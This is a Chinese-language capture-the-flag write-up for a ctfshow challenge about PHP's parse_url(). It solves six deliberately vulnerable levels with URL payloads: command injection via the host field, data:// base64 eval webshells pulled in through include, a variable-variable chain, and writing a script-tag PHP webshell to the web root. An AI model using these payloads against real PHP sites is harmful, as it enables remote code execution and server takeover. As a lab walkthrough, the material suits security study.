今天看到ctfshow上有个周末大挑战啊,来做做
认识parse_url()
根据php的函数介绍:
parse_url是对传入的url进行语法分析,然后返回url的每个部分:
如果prase_url后带第二个参数,则是直接获取结果的一部分:
参数2的可选值:
1 2 3 4 5 6 7 8
| PHP_URL_SCHEME, PHP_URL_HOST, PHP_URL_PORT, PHP_URL_USER, PHP_URL_PASS, PHP_URL_PATH, PHP_URL_QUERY, PHP_URL_FRAGMENT
|
具体例子如下:
1 2 3 4 5 6 7 8 9
| <?php highlight_file(__FILE__); $data = parse_url($_GET['u']); print_r($data); ?> 输出结果: Array ( [scheme] => http [host] => host [port] => 8080 [user] => username [pass] => password [path] => /path [query] => args=value )
|
其中还缺少了一个[fragment]=>test
我本地跑的时候显示不出来,但是这个组成部分还是存在的
parse_url后就可以分成如上的scheme、host、user、pass、path、query、fragment七个部分
第一关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php
$data = parse_url($_GET['u']);
eval($data['host']);
|
这题就非常简单了,获取parse_url()的host部分然后进行eval
那直接在host处下手即可:
1
| ?u=http://user:pass@system('ls');
|
命令执行成功
尝试使用ls /失败
那就得用cd ..;ls 逐级寻找flag
1
| ?u=http://user:pass@system(%27cd%20..;cd%20..;cd%20..;ls%27);
|
发现flag:
1
| ?u=http://user:pass@system(%27cd%20..;cd%20..;cd%20..;cat f*%27);
|
第二关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php
$data = parse_url($_GET['u']);
include $data['host'].$data['path'];
|
改为了包含host和path
如果知道了文件的路径,直接包含获取即可
如果不知道可以通过data伪协议包含写入shell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| data写shell: data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ 本地测试: http://username:password@data:// 回显:Array ( [scheme] => http [host] => data [user] => username [pass] => password [path] => // ) ?u=http://username:password@data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ 回显:Array ( [scheme] => http [host] => data [user] => username [pass] => password [path] => //text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8 ) 可以看到和我们的目标十分接近了,但是data没有: 所以我们再加一个冒号
?u=http://username:password@data:://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ 回显Array ( [scheme] => http [host] => data: [user] => username [pass] => password [path] => //text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8 ) 现在就完全一致了 但是那个+又没了,所以我们要对其进行一次url编码 ->%2b
|
最终payload:
1
| ?u=http://username:password@data:://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2b
|
然后就可以进行命令执行:
1 2 3
| 1=system('ls ../../../'); 发现 _f1ag_1s_h3re.txt 1=system('cat ../../../_*');
|
另:既然知道了flag的路径
那直接:
1
| ?u=http://username:password@../../../_f1ag_1s_h3re.txt
|
乐
第三关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php
$data = parse_url($_GET['u']);
include $data['scheme'].$data['path'];
|
同上,只不过改为scheme和path拼接
将scheme从http://改为data::
然后发现data后面的内容全部为path了,也就是:
所以直接写:
1
| ?u=data:://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2b
|
flag的开头还是以下划线开头的
所以直接
1
| 1=system('cat ../../../_*');
|
第四关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php
$data = parse_url($_GET['u']);
system($data['host']);
|
和第一题一样啊
host改一改命令执行即可
换到靶机就是:
1
| ?u=http://username:password@ls
|
1
| ?u=http://username:password@cd%20..;cd%20..;cd%20..;ls
|
发现flag 1_f1ag_1s_h3re :
1
| ?u=http://username:password@cd%20..;cd%20..;cd%20..;cat 1*
|
第五关
套娃:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php
extract(parse_url($_GET['u'])); include $$$$$$host;
|
include 还是用data协议写shell
那这个$$$$$$host又是什么东西呢?
其实就是套娃
如果$host指向1 那就会变成$$$$$1 ,消掉一个1
如果1指向2 那就会变成$$$$2…以此推类
这里通过parse_url获取url各部分:
host scheme username password port path query fragment
那就可以通过这八个进行上述的套娃,从而指向最后的data伪协议:
payload:
1 2
| 原型:?u=http://username:password@host/path?query#fragment 变化后:?u=user://pass:query@scheme/path?fragment#data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2b
|
1 2
| POST: 1=system('ls ../../../');
|
1 2
| POST: 1=system('cat ../../../_*');
|
第六关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php
$data = parse_url($_GET['u']);
file_put_contents($data['path'], $data['host']);
|
看到file_put_contents写shell:
对回去就是:
将path做文件名,host作为data写入
本地测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 尝试写shell: /var/www/html/1.php,<?php eval($_POST[1]);?>
测试: http://@<?php eval($_POST[1]);?>/var/www/html/1.php 回显Array ( [scheme] => http [host] => [user] => [path] => /var/www/html/1.php ) 看似可以 但是实际上呢? 我们本地测试会回显: Parse error: syntax error, unexpected '<', expecting end of file in D:\phpstudy_pro\WWW\Test Web\zhoumo1.php(6) : eval()'d code on line 1 发现unexpected <
说明shell出问题了 我们把path去掉就会发现: Array ( [scheme] => http [host] => < [user] => [query] => php system('dir');?> )
|
也就是说它把问号后面的内容定义为了query
所以我们要找一个不带问号的webshell:
使用js的webshell:
1 2 3
| <script language="php">eval($_POST[1]); 然后补上path: /var/www/html/1.php
|
payload:
访问1.php后:
1
| 1=system('cat ../../../_*');
|
(完)